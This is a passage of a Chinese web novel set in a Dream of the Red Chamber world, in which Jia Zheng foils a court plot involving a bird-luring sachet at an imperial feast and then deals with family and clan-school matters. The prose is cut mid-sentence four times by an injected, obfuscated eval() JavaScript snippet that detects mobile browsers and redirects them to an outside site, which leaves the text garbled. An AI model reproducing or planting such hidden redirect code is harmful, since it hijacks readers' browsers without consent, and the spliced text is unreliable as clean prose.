鹦鹉也很给皇帝面子,只要喂它干果就叫一句万万岁,哄得皇上龙颜大悦,为鹦鹉赐名火凤,又引来一阵马屁齐飞。 贾政盯着站在太子身后的五皇子,急得都快冒冷汗了,上辈子他曾办过一个盗猎保护动物的大案,几个富商想吃真正的小鸡炖蘑菇,雇人去北方寻找老猎户,利用药物在原始森林中诱捕野生榛鸡。 老猎户见钱眼开,拿出了祖辈传下来的诱鸟药,却没料到效果惊人,大量鸟类被吸引过去,造成了相当惨重的野生鸟群伤亡事件。 由于现场太过触目惊心,贾政对诱鸟药剂的味道印象极为深刻,没想到在红楼世界还能遇到这东西,被视为祥瑞的大鹦鹉要是落到五皇子身上,他还能活吗? 或者,让鹦鹉落到自己身上本就是五皇子的计谋,打算用祥瑞来显示自己才是天命所归,他应该没那么蠢吧? 贾政的政治经验全是纸上谈兵得来的,想不明白其中的厉害关系,干脆放弃折磨自己的大脑,直接询问老爷关于此事的看法。 他凑到贾代善身边,压低声音问道,“老爷,要是,我是说要是,火凤落到五皇子身上,会发生什么事?” 贾代善猛抽了口气,轻斥道,“胡说什么,会导致朝堂大乱的事岂是能随意开口的。” 贾政苦笑,“我没胡说,刚才我闻到五皇子身上有诱鸟药的味道,在江南时我曾见过有人用此药捕鸟,药性十分霸道。” 贾代善并没有怀疑贾政的话,从小到大他都不是不知轻重的孩子。 他沉吟片刻,缓缓道:“看来是文官那边有人坐不住了,太子羽翼渐丰,他们支持的五皇子却至今毫无建树,这是想借祥瑞把储位之争摆在明面上啊。” 贾政不明白他为何如此笃定,“就不能是五皇子自己,或是太子安排的吗?” 贾代善摇头,“怎么可能,他要是个沉不住气的,也不能在失去母妃护持后还活到现在。太子想除掉他有无数种办法,唯独不会任其与祥瑞,天命所归联系在一起,要知道众口铄金,没人敢冒这个险。” 贾政松了口气,不是太子或五皇子搞出来的就好,勋贵和文臣本就不对付,破坏他们的计划也没啥大不了的。 “老爷,待会儿敬酒时我不小心把酒泼到五皇子身上,会给家里丢脸吗?” 贾代善的表情从凝重变成好笑,最近政儿总有惊人之举,要不是家里发生了许多事,他还不知道次子比女儿还古灵精怪呢。 “会丢脸,但没关系,笨点是好事。” 贾政也笑了,偷眼打量站在主位旁的五皇子,试图找出他身上最有可能藏药的地方。 虽说老爷不介意他当众犯蠢,但能不丢脸还是别当显眼包的好。 打量过后,他在心里撇嘴,虞朝的服饰没有口袋,随身的东西要么塞进袖袋,要么装在荷包里挂在腰带上,五皇子腰上就挂了不少东西,荷包、扇袋、香囊、熏球、玉佩、腰牌,平安符,那叫一琳琅满目,跟货架子似的。 上辈子要是哪个男人在身上挂这么多东西,肯定会被人当成娘炮的,可这里的风俗就是这样,包括自家老爹腰上也挂了不少东西。 他的视线在香囊和熏球之间来回扫视,猜测哪个更有可能藏着诱鸟药,凭他卧底小偷团伙的本事,只需接近一臂之内就能将之弄到手。 皇帝身边站的都是皇亲国戚,尤其以皇后父亲承恩公的嗓门最为响亮,和顺亲王一唱一和,没口子的夸赞太子孝顺,圣寿宴天降祥瑞,双喜临门。 鹦鹉也捧场的大叫双喜临门,引得下方功勋大臣纷纷附和,共贺皇帝大喜。 皇帝开心的哈哈大笑,“要说大喜事,最近还真有不少,老五你过来。” 听到皇帝不与太子说话,却点名五皇子,主殿内瞬间落针可闻,连充当背景音的宫乐都停了。 五皇子好像早知道皇帝为何叫自己,稳步走到主位前,躬身等待皇帝接下来的话。 皇帝笑道,“半个月前老五给朕添了个小孙女,我们家已经两代没有女娃儿降生了,朕心甚喜啊。” 众人都松了口气,贺喜声连成一片,唯独顺亲王脸僵得像个死人,他生了八个闺女,盼儿子盼得眼睛都绿了。 皇帝接着道,“老五立下大功,不能不赏,就封他为忠敬郡王,我孙女封为福瑞郡主,下个月就出宫开府吧。” 众人又恭喜新出炉的忠敬郡王和福瑞郡主,太子和三皇子也笑着贺喜,脸上看不出丝毫不悦,反倒有些幸灾乐祸。 贾政在心里叹气,万分同情五皇子,同一阵营的官员算计他,皇帝又把他推出宫当诱饵,原著中从没提到过忠敬郡王这个人物,他该不会早早挂掉了吧? “好可惜哦。”贾政叹气。 这么个大美人,在上辈子随便拍几个视频都能赚得盆满钵满,在红楼世界他身为天潢贵胄,却像条孤舟似的任由风浪拍打,也太惨了吧。 “可惜什么,坐好,别像痴汉似的盯着人家看。”贾敬瞪了堂弟一眼,他早注意到这小子盯着人家五皇子不放了,外头多少俊秀少年找不到,干嘛非得巴望这种扎手的。 贾政要是知道贾敬在想什么,肯定会惊吓到原地起跳,再感叹不愧是红楼世界,男风盛行到已经成为社会风俗了,没人会觉得是个问题。 为五皇子册封过后,寿宴正式开始,珍馐美馔流水似的摆上来,三殿合抱的广场上还有宫廷教司坊和京都最出名的三个戏班轮流献艺。 酒过三巡,众人即可离席在正殿内自由活动,除了接近皇帝时需要近卫在旁边盯着,想找谁说话都成。 贾政自然是勋贵一伙的,八个公爵府都支持正统嫡出,对母族是甄家的三皇子就有些冷淡客气,毕竟甄家是内务府奴婢出身,除了宁荣两府与之有亲戚关系,另外六公都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900601|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不上他们。 至于五皇子,他的母族是江南诗书世族,这些人在前朝做了什么大家心里都明镜儿似的,虽然在本朝的势力依旧不小,皇帝却不会给他们再次称霸朝堂的机会,因此外人也不大搭理五皇子 七皇子的母族是在本朝科举入仕的,外祖父只是个四品小官,根基浅薄行事低调,年纪又小,暂时也没人理会他。 贾敬带贾政和贾珍过来拜见甄应嘉和甄家大爷,父子俩正和三皇子讨论江南局势,双方一番礼让过后又询问贾政那边的情况。 贾政接收了原身的全部记忆,本人忘记的他都记得,因此也不露怯,把知道的都讲了出来。 太子和谢鲲几个就站在不远处,听这边说得热火朝天,也过来凑热闹,五七两个皇子一直在太子身边装包子,自然也跟了过来。 贾政说完便退到贾敬身后,把舞台让给太子和三皇子他们,他退的位置十分巧妙,用贾敬挡住前面人的视线,右手距离五皇子只有两步远。 五皇子看出贾政是故意退到自己身边的,正要问他有何事,贾政却出手如电,一把扯下他腰间的香囊,抖手丢进了殿角的荷花缸里。 五皇子哭笑不得,他早注意到贾政一直盯着自己了,还疑惑他想干嘛,原来只是看香囊不顺眼么。 这香囊是皇子妃今早给他戴上的,说是殿内气味驳杂,用这个来压一压,看样式便知是女子之物,所以他这是,吃醋了? 五皇子收敛表情,只当什么都没发生过,虽然他也对只见过一面的贾政念念不忘,但在外人面前跟他走得太近只会害了他,左右很快就要出宫开府了,以后的日子长着呢。 贾政不知道五皇子已经拐到另一个赛道上了,成功阻止了朝堂纷争,他重重舒一口气。 虽然储位之争在所难免,但明争和暗斗是有区别的,暗斗可以用装傻来规避,明着怼到面前的争斗要是再装傻,那就真的傻了。 太子和三皇子从小就互看不顺眼,说不了几句便散了,贾政顺势回到坐位,之前他紧张得只抿了两口酒,现在才发现早就饿惨了,不管桌子上的酒菜是冷是热,总之先吃饱了再说。 宫廷酒席由三寺和内务府共同操办,味道相当不错,还有在家里很少吃到的牛肉。 贾政盯着一盘蜜炙牛肉落筷如雨,吃完自己桌子上的又去吃老爷那盘,听到一阵惊呼声才抬起头来。 火凤脚上的金链不知何时解开了,成人手臂长的大鹦鹉飞了起来,盘旋在殿中引来阵阵惊呼。 正当众人不知所措时,火凤突然向殿角俯冲而下,停在了荷花缸的缸沿上。 宫殿里的水缸是预备着灭火用的,为了美观才会养鱼种莲,祥瑞突然落在上面,让众人都沉默了,不知说些什么来缓解此刻的尴尬气氛。 皇帝呵呵一笑,扫视过殿内众人,最终把目光落在举着筷子的贾政身上,笑道,“那是荣国公家的政儿是不是,你说说看,火凤为何会落在荷花缸上啊。” 21. 第二十一章 渴了 贾代善差点冲出去跪地求饶,火凤突然挣脱束缚,没去找带着诱鸟药的忠敬郡王,却落在了水缸上,难道是政儿做了什么被皇上看到了? 满殿的人全都傻了眼,谁能知道一只鸟想干嘛啊,皇上偏指定荣国府的小公子来回答如此刁钻的问题,这让孩子怎么说? 牛大人和齐国公府的陈大人抓着贾代善,让他冷静下来,政儿还是孩子,说错话也能用童言无忌搪塞过去,他要是替儿子出头,不就变成皇上欺负小孩子了。 贾政却丝毫不拒,他生长在平等社会,天生就缺少对皇权的敬畏,加之直面过太多危险和血腥场面,早就麻木了。 皇帝之所以可怕是因为他能轻易要人命,在这方面和犯罪分子也没啥区别。 他咽下嘴里的牛肉,整装来到大殿正中,躬身道,“回皇上,臣认为火凤应该是渴了。” 殿内一片寂静,所有人都被贾政整不会了,因为口渴才落到水缸上找水喝,一点毛病都没有,可怎么就觉得哪里不对劲呢,皇上问话还可以这样回答吗? 五皇子已经被火凤的举动惊呆了,殿内十多个荷花缸,火凤偏偏落在了贾政丢香囊的水缸上,世间哪有这么巧合的事,贾政肯定是发现那个香囊有问题,才会将之丢进水缸的。 听到皇上问话贾政,他整颗心都揪了起来,正要上前代他回话,却听到如此直白的回答,他差点笑出来,贾政眼神清澈纯净,像只未经世事的小白兔,原来竟是只狡猾的小狐狸么。 皇帝也被贾政说得一愣,接着就放声大笑,“说得对,口渴了确实得找水喝。” 众人也跟着笑起来,一时也弄不清荣国府老二是精是傻,完全摸不着头脑的问题,竟被他就这么混过去了。 皇帝把自己桌上的酱牛肉赏给贾政,命人把火凤捉起来带下去,又和内务府副总管说起肉牛的事。 前内务府大总管是甄应嘉,这个月他就要去江南赴任,以后就交给这位北静郡王府的旁枝管着了。 贾代善紧紧盯着贾政,看他谢了赏安稳落坐,他才长舒口气,腿都吓软了。 察觉到两个损友忍笑忍得肩膀直抖,他没好气的瞪了他们一眼,“笑什么,你们未必有我政儿的机灵劲。” 牛大人喷笑,“确实,我现在也想不出怎么回答这个问题,谁能知道一只鸟在想什么呢。” 陈大人面上带笑,语气却十分凝重,“那鸟刚才还拴得好好的,怎么会突然就挣脱脚链飞起来了?” 牛大人沉下脸,“确实,太子进献火凤又不是新闻,这里面能钻的空子太多了。” 贾代善在心里苦笑,他倒是知道是怎么回事,可这种事哪能说出口,回头还得嘱咐政儿守口如瓶,对他大哥也不要说,那兄弟俩感情越来越好,就喜欢背着他蛐蛐小话。 皇帝也在疑惑是哪里出了问题,通政司和内务府有数百密探,京都就没有什么事是能瞒得过皇帝的。 之所以放任那些人算计老五,一是想提醒他注意身边人,再来也要看谁在这件事上跳得最高,只有让几方人马都动起来,才能顺藤摸瓜找出藏得最深的那批人。 至于祥瑞临身对老五会造成什么影响,出了这样的事,皇后是不会让那只鸟活太久的,祥瑞一死所有谣言即刻烟消云散。 如今计划虽只成功了一半,皇上瞄了眼老五腰上空下来的位置,以及他阴沉不定的脸色,相信他也不会再对母族那些人抱有幻想了。 五皇子吓得通体发寒,几乎站不稳,不敢想象要是火凤落到自己身上,接下来会发生什么。 皇后和太子或许还能沉得住气,甄贵妃和老三必然会发起猛烈攻击,内务府都是甄应嘉的人,对郡王府下手太容易了,他的女儿才半个月大,说不定就要丧命在他们手上。 想到女儿小小软软的可爱样子,五皇子恨得差点抠破手掌,看在母妃的面子上他已经对正妃多有忍让了,她竟然还勾结外人,算计他和孩子,那就不要怪他不客气了。 天家父子内心暗潮汹涌,贾政却吃得欢快极了,牛肉瘦而不柴,劲道弹牙,酱香浓郁,太好吃了。 贾代善回到坐位上,没好气的戳了他一指头,“我少你肉吃了是怎么着?” 贾政委屈道,“家里哪来的牛肉吃,我上次吃还是前几个月去修国公府赴宴的时候呢。” 虞朝对耕牛监管严格,私自宰杀最高可判处流放一年,红楼原著中也没有吃牛肉的情节,只有皇庄才有饲养肉牛的资格。 贾代善好笑道,“你也没说喜欢吃啊,哪里还弄不到几块牛肉了。” 贾政摆手,“算了,为几口吃的,没必要那么麻烦,遇到了就多吃几口呗,家里又没饿着我。” 贾代善心中酸软,外头总说他惯孩子,可政儿的好处又岂是外人能知道的,赦儿虽不像弟弟这么机灵,也是再贴心纯善不过的好孩子了。 皇帝只在寿宴上待了半个时辰,便起身回到后宫,五七两位皇子也跟着离开,留下太子和三皇子与众人继续宴乐,直到接近戌时方散。 贾政骑在马上,全身像散了架似的,精力过剩的贾珍也蔫蔫的,走在贾政身侧边哀声叹气边偷瞄他。 贾政无奈,问道,“有什么话你就说啊,做什么装神弄鬼的。” 贾珍嘿嘿一笑,勒马凑到他耳边,笑道,“小叔是不是认识柳家大爷,我怎么看着他一直在偷看你呢。” 贾政愣了下,“柳家大爷?我没注意啊,他弟弟柳节我倒是挺熟的,该不会是那小子闯啥祸了,柳芳以为是我带坏了他弟弟吧?” 贾珍也不敢确定了,呐呐道,“柳节都快娶媳妇的人了,凭啥他闯祸要怪到小叔你头上。” 贾政看着身边的俊秀少年,笑道,“今天表现得不错,没跟太子那帮人混在一起,你总待在家里也无聊得紧,要不也来国子监上学吧,好歹能交几个正经朋友。” 贾珍听到上学就头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900602|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼,摇头道,“才不要,我又不缺一块儿玩的人,有我老爷盯着,那些人哪敢往我身边凑,唉,也不知你们是怎么想的,太子都露出招揽的意思了,怎么就不知道把握机会呢。” 贾政敲了他一计,“急什么,凭我们家的实力,什么时候投靠过去都不晚,你没见当今还硬朗着呢,过早站队不仅会失去圣心,别人也会觉得我们一脸奴才相,全家都是那不值钱的。” 贾珍两眼一瞪,怒道,“他们敢!” 随即他又泄了气,“那我能干嘛啊,天天待在家里好无聊啊。” 贾政这个气,原来这小子参与储位之争是因为太闲了,想了下送他去军营的可行性,立马又放弃了,敬大嫂子是绝不会同意的。 “不如你回老家一趟吧,我们回家守孝时才发现老宅被那群奴才糟蹋得不成样子,你们离开的时间更久,大伯的孝都是在京里守的,不如走一趟,既长了见识又能敲打奴才。” 贾珍活这么大还没出过京都呢,兴奋道,“好主意啊,我怎么没想到,京都外面的世界大着呢,杭州的西湖,扬州的瘦西湖,都是一等一的温柔乡,嘿嘿,小叔,要不要侄子弄几个瘦马回来孝敬你啊。” 贾政横了他一眼,“你要是敢弄回来,我管保堂兄把你们的腿一起打断。” 贾珍吓得猛缩脖子,贾敬也吓得脸色惨白,贾代善拉他上了自己的车,把宴会上的事跟他说了。 贾敬抹了把冷汗,“怎会如此?那些文官是要架着五皇子公开打擂台啊,太子和三皇子岂肯罢休,我们家夹在太子和三皇子之间,一个弄不好就会鸡飞蛋打,祖宗基业全都得赔进去。” 他是真的怕了,暗中投靠太子是一回事,明面上他也没远着三皇子,本应是两边下注的巧妙布局,储位之争要是由暗转明,自家可就要两面不是人了。 贾代善叹气,“这次是我们走运,政儿恰巧记得诱鸟药的味道,才能逃过一劫,那些人既然动了这个心思,想必是不会罢手的。” 贾敬心情沉重的回了府,听说儿子想游历长见识,顺道回祖宅料理家仆,他想也不想就答应了。 五皇子这件事的余波还不知会动荡到几时,儿子能远离京都再好没有了。 贾代善也听贾母讲了皇后公然讨要贾政的经过,他摔了手里的茶盏,气得在屋子里乱转。 贾母捂着心口,嗔道,“我陪嫁的茶具,被你糟践得没一套是全的,皇后那点子小心思政儿又不是应付不了,有什么好气的。” 贾代善冷笑,也说了皇帝因为只鸟难为贾政的事,这回换成贾母摔茶盏了, “什么意思,皇上的鸟飞了,问我政儿干嘛,又不是政儿把鸟弄飞的,哎,你怎么不早说,我可怜的政儿,这会子不知吓成什么样了。” 贾代善拦住就要去看儿子的贾母,笑道,“那小子胆子大得很,这会儿肯定已经睡下了,我们也别再提这些事,回想的次数多了反倒会吓到他。” 22. 第二十二章 长牙 贾政进了东跨院,让迎出来的王氏和周氏回去歇着,他回到自己房间,先洗去一身汗,把湿头发擦得半干,再辫成一股大辫,就去看贾珠小宝贝了。 快五个月大的宝宝能翻能拱,还学会用不同的叫声来表达想法,这会儿他正坐在牛皮席上,光着小膀子发脾气,不肯穿奶娘手里的小布衫。 贾政轻笑出声,走过去抱起儿子,问道,“我们珠儿太热了是不是?” 贾珠指着奶娘啊啊几声,小泪花差点冒出来,这么热的天她们还要给他穿衣服,宝宝太苦了。 贾政戳着他肉肉的小胸脯,安慰可怜的小宝贝,“今晚我们去花园里睡好不好,那边可凉快了。” 贾珠也不知听懂了没有,大眼睛弯成一条缝,啊啊叫着用小肉手拍老爹肩膀,笑得口水都快滴下来了。 贾政咦了声,盯着他的下牙床,惊道,“珠儿牙床上怎么有一条白线?” 奶娘笑道,“哥儿这是长牙了呢,壮实的孩子都是四个多月就冒牙,我们也是今早发现的,见二爷忙着,就没报上来。” 贾政喜得颠了颠肉肉的贾珠,“我们珠儿好了不起,有很认真的在长大呢,以后我们还会越来越强壮,争取一岁抓周时就能走路好不好。” 当初瘦瘦小小的宝宝,他接手后不仅养得又白又胖,还长牙了,成就感满满啊。 父子俩有说有笑的搬到翠香堂,在幽幽花香中睡去,大明宫东五所最前面的院子却灯火通明,满院肃杀之气。 五皇子抱着女儿,正盯着内侍从内院正房往外搬东西,要把皇子妃连同她的陪嫁都搬到后罩房去。 五皇子妃是皇贵妃临终前求下的,出身江南诗书仕宦大族赵家,是她的堂侄女,前内阁大学士的亲孙女。 自赵氏成为五皇子妃,两人也算相敬如宾,五皇子怎样也不会想到,即是妻子又是血亲的枕边人会算计自己,要不是贾政出手相助,他都不敢想此时变成什么样了。 五皇子妃气得双眼通红,吼道,“司徒衡,你个懦夫,我嫁给你不是为了一辈子屈居人下的。” “那正好。”司徒衡神色冷淡,看向她的目光中毫无波澜,“我明日就上本,把小郡主记回生母夏庶妃名下,再请封她为郡王妃,不想待在京都我可以派人送你回江南。” 五皇子妃傻眼了,不相信他竟然敢休了自己,愣了片刻才尖叫道,“你敢,没有我祖父和诸位大人支持,你算是什么东西。” 司徒衡冷笑,他身为帝王之子,想要什么不会自己去争取么,江南世族在前朝贪腐党争,投敌误国,皇上防备他们还来不及,岂能再任其做大,只有他们还沉浸在前朝只手遮天的迷思里不愿醒来。 他对跪在身边的管事嬷嬷道,“冯嬷嬷请起,头所内务暂时由你代理,以后也由你协助王妃管理郡王府内院。” 说完,司徒衡抱着女儿转身离去,懒得看气倒在地的五皇子妃一眼。 在算计他的时候她就应该想到会是这个下场,即便他有幸登上那个位子,她也没有当皇后的命。 东五所发生的事自然瞒不过皇帝,听到老五如此决绝,他并未多说什么,只是问道,“夏庶妃是哪家的孩子来着?” 太子和皇子后院有封位的侧室都是他赏的,每年都给儿子们添一两个,赏的人一多他就记不清了。 大明宫的掌宫内相苏诚笑道,“是四品抚远将军夏德之女,四年前大选时被陛下指给了五皇子,是头一个服侍五皇子的人。” “哦,原来是夏德那憨货的闺女,老五那孩子是个长情的,院子里花团锦簇,只有头一个生了孩子,也算难得。”皇上叹了口气,想起太子和老三老五的子嗣就头疼。 太子还算争气,一连生了俩儿子,老三成亲四年,毛都没生出来一个,老五也才一个闺女,这是打算让皇族断绝吗? 前朝是皇族太多,供养艰难,本朝干脆生不出孩子了,老天爷要不要这么极端,要是因为没有子嗣继承大位而灭国,会被后世人笑话死的。 “行吧,夏氏的出身当郡王妃勉强够格,老五要是上本,你就命翰林直接拟旨准奏吧。” 苏诚躬身应下,心里却在苦笑,五皇子受封郡王的第二天就把诗书世族出身的亲表妹撸了,转而扶持勋贵出身的庶妃当王妃,那些文臣岂能善罢干休,朝堂上指不定怎么闹呢。 外面的事一概与贾政不相干,他美美睡了一觉,次日醒来的第一件事就是去看儿子的小牙。 粉嫩的下牙床上白线又长高一节,已经能看出两枚切齿的轮廓了,他伸手去摸,还被小坏蛋咬了下。 贾政收回手,笑道,“小子咬合力不错嘛。” 说完他又看向两个奶娘,手指被咬一下都能感觉到疼,要是喂奶时被咬了…… 他轻咳一声,叫来松茗,“去跟赖嬷嬷说一声,珠哥儿长牙了,每月再给奶娘加一两辛苦费。” 两个奶娘愣了下,不明白这么多辛苦费是打哪儿来的。 她俩刚要谢赏,贾母就打帘子走进来,嗔笑道,“珠儿长牙了不去告诉我,头一个却想着给奶娘加辛苦费。” 众人忙见礼问安,贾政亲自挪椅子扶太太坐了,才笑道,“我也是昨晚发现的,刚才被这小子咬了下,疼着呢。” 贾母接过宝贝金孙,看到牙床上的小奶牙,笑道,“还是我们自家人得用,才上来一个月,哥儿就长胖了这么多,确实辛苦她们了。赖嬷嬷,按二爷说的,以后奶娘各加一两辛苦费,每月再加一斗细米,半只羊。” 两个奶娘忙磕头谢赏,贾母又道,“你们好生照顾哥儿,以后好日子多着呢,等哥儿上学时就让奶兄弟当伴读,不出几年就进益了。” 奶娘喜不自胜,赖嬷嬷也觉得面上有光,这两人可是她亲自挑的,连得太太和二爷封赏,也有自己一份功劳。 贾母抱着孙子去给老爷看,一家人欢欢喜喜用过早膳,中午之前贾赦也从城外回来了,他两眼无神双腿打晃,把全家人吓了一跳。 贾政惊道,“大哥你怎么了?谁欺负你了不成?” 贾赦摆手,“欺负我做什么,我这是累的。唉,不当差不知道当差的艰难,就是从皇庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900603|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里摘菜挑拣送上马车,就这点子事也得两三个人盯着才不会出差错。宫宴结束还不算完,鸿胪寺、光禄寺、太常寺和内务府,还有内侍宫人,总不能让人家白辛苦一场吧,各处封赏的菜蔬我们一直忙到天亮才清点完,我的天呐。” 贾赦瘫在椅子上仰天长叹,满屋子人都没绷住,上下笑作一团。 贾母头一次看长子这么顺眼,笑道,“老大家的扶你家爷歇着去吧,可怜见儿的,大热天忙成这样。” 贾代善也笑道,“表现不错,休息几天吧。” 贾赦苦巴巴摇头,“总管只给了一天假,甄伯父明天就要跟水副管交接工作了,还要准备皇上和甄贵妃给甄家的封赏,甄家的告别宴太子和三位皇子都会去,也得我们内务府跟着,还要安置五皇子的郡王府,哪有时间休息啊。” 贾政以为内务府只用负责皇家日常生活,顶多宴会时忙上几天,没想到有这么多工作要完成。 他有点后悔让大哥出去上班了,担忧道,“这么热的天,你身体吃得消吗?” 贾赦笑道,“累一点而已,有什么吃不消的,我才多大年纪,那些五十多的人还站在大日头下监工呢。” 贾代善十分欣慰,又勉励几句就让贾赦歇着去了。 贾政也很高兴,贾赦能从工作中找到乐趣,就不会变成原著里没用的老色批了吧。 再教导好贾珠贾琏,给他们结门好亲,即便没了爵位也不用担心贾家会没落到任人践踏的地步。 贾代善也是这么想的,爵位再袭个两三代也就到头了,再往下拼的就是家族底蕴,只有子孙上进才是兴盛的根本。 “政儿你也别闲着,明儿去族学里看看,那房子在巷子里,通风差得很,别把孩子们热坏了。” 对哦,贾家还有族学呢。 贾政想起秦可卿临去前托梦说的话,问道,“老爷可知族学的费用都是从哪里出的?” 贾代善还真没想过这个问题,还是贾母答道,“每年两府里都会拨一笔银子给族学,如今也没多少学生,尽够了。” 贾政笑道,“每年拨银子多麻烦,不如跟敬大哥商量一下,给族学添几亩祭田,我们两府轮流管着,专款专用,岂不省事。” 贾代善心中更加熨贴,笑道,“我知你的意思了,田产都是现成的,回头我跟敬儿商量一下,看把哪个庄子划到祭田里合适。” 贾母笑道,“何必这么麻烦,金陵祖地的祭田多着呢,哪里省不出一抿子供给族学。” 父子俩心照不宣,贾敏也笑而不语,祭祀用的产业即便抄家也不会收上去,便是败落下来,子孙也能回家读书务农,有能力的时候当然要尽量多添置,以后子孙的退路才会更宽。 但这些话就不用对太太说了,免得她又要伤感。 贾政见小妹眼神清明,便知她也听懂了自己的意思,再看王氏还是那副木木的表情,不免在心里叹气。 这辈子别的都可以不管,只有比王氏活得久是必须要做到的,实在不行就在临死前把她干掉,总之绝对不能留下她祸害珠儿。 23. 第二十三章 族学 金陵贾氏一族共二十房人,宁荣两府五服以内的近亲有八房,全部居住在宁荣街左近。 族学就在两府后巷,是个两进的小院子,学生只有十多人,还分成蒙童和应试两个班级,每间屋六七个人,关严门窗再放两盆冰,倒也不觉得闷热。 学里的先生由自家幕僚担任,黄先生和庄先生都是江南的饱学之士,贾政在两个班各听了半节课,感觉两人除了官话不大标准,讲课比国子监的教授强多了,至少他能听懂他们在讲什么。 这二位追随贾代善多年,与贾政以平辈论交,看到他来了也不慌张,只管做自己的事,任由他在学内四处查看。 等下了课,两人才走到近前,拱手笑道,“二爷前来,不知有何赐教。” 贾政也拱手还礼,“老爷命我来向两位先生道辛苦,再询问学里可有何欠缺之物。” 两人请他到正堂坐了,庄先生才道,“学里供给充足,倒没什么可缺的,只是,哎!” 贾政苦笑,不用问也知道他在叹什么,“我知先生的难处,宁荣两府以武起家,除了族长再找不出读书的苗子了,办学不过是想让族人识字明理,约束他们不要生事,先生只管严加管教,剩下的就交给天意吧。” 两位先生都笑了,“倒也不必如此悲观,令族叔贾代儒已然小有所成,前岁中了秀才,再精进两年,中个举人还是有希望的。” 贾政差点没绷住表情,贾代儒就是原著里的族学先生,把学里管得混乱不堪就罢了,还养出贾瑞那等觊觎堂嫂的畜生,这种东西还是不要学有所成的好。 贾政回家,向老爷转述了两位先生的话,又道,“学里除了有点热,其余都很妥当,两位先生把学生管得很好,我跟着听了半节课,书讲得清晰明了,比给我启蒙的那个所谓大儒强多了。” 贾代善想起这件事就来气,“那人是老家一位乡绅举荐来的,你祖父顾及同乡脸面才没有拒绝,谁知一念之差竟误了你。黄庄两位先生跟随我多年,都是知根知底的妥当人,才会把他们派到族学上去,既然他们说代儒有可能学出来,那就每月资助十五两银子好了。” 贾政摇头,“资助五两,让他足够生活就行,还要让他知道给银子是为了助他科举,一旦放弃银子便没了,如此才能让他静下心来努力读书。” 贾代善没好气的瞪儿子一眼,“原来你也知道静心才能读书,可见你平日分了多少心,才把书读得一团糟。前些日子还学会逃学了,要不是调用五城兵马司找你,让皇上也跟着担心一回,也不会当众点你的名。” 贾政举手告饶,“不带翻旧账的啊,能让皇上记住又不是坏事,以后谋个官身,升职也容易不是。” 贾代善哭笑不得,斥道,“明天就给我回国子监读书去,让赖大几个在外面守着你,再敢逃学我就把顺风送到城外庄子上拉磨去。” 贾政嗯嗯答应着,心里却在大笑,这夫妻俩宠孩子宠得没边了,哈口大气都能后悔半天,只好拿他在意的东西出气,又做不出虐待奴仆的事,顺风那头傻驴就成了活靶子,每次气不过都把它拎出来溜溜。 贾政正要告退,外面就报说贾赦的小厮回来了,父子俩俱是一惊,把人叫进来问话,才得知后宫又出事了。 五皇子在寿宴当晚不知何故与五皇子妃闹翻,请旨册封夏庶妃为郡王妃,皇上竟然也没有反对的意思,文官那边就炸窝了。 小厮苦着脸道,“文官把皇极门堵上了,小的好不容易才跑出来,大爷命小的回来说一声,千万别掺和进这件事里去。” 贾代善转瞬间就想明白五皇子后院为何会闹起来了,皇子住在后宫,外头的人想近身都难,那个诱鸟药香囊肯定是皇子妃给他的,发现自己被妻子算计了,是个男人都不能忍。 他点头道,“回去让你大爷放心,这件事与我们家不相干,也让他躲着些,别被人当枪使了。” 小厮笑道,“老爷放心,大爷的主管刘大人是个乖滑的,正琢磨去城外皇庄上躲几天呢,要是大爷出了城,小的再回来取行李。” 贾代善笑着点头,等小厮出去了才道,“内务府刘大人与我们家也算旧相识了,那是个讲义气,肯为朋友办事的人,你大哥跟着他肯定差不了,政儿对刘大人要执晚辈礼,知道吗。” 贾政躬身应下,回到翠香堂还在想司徒衡的事,那人表面上像座冰山,其实也是个心热的人吧,否则也不会在素不相识的情况下救他,发现妻子背叛自己,指不定怎么伤心呢。 司徒衡跪在御案前,神情淡漠,看不出丝毫伤心的样子。 他盯着跪在身侧的中年文士,冷笑道,“赵氏做了什么,难道赵大人会不清楚吗,你要是想当众没脸,那我们就敞开了说一说。” 礼部右侍郎赵大人是五皇子妃的族叔,诱鸟药就是他弄来的,当然不能让五皇子把事挑明。 但让侄女失去王妃之位是万万不能的,南党在功勋和新士族的联手打压下本就势微,再失去五皇子这面大旗,在朝堂上就更难立足了。 他只好打感情牌,以头杵地,痛哭流涕道,“忠敬郡王如此绝情,让故去的皇贵妃和在家乡养病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 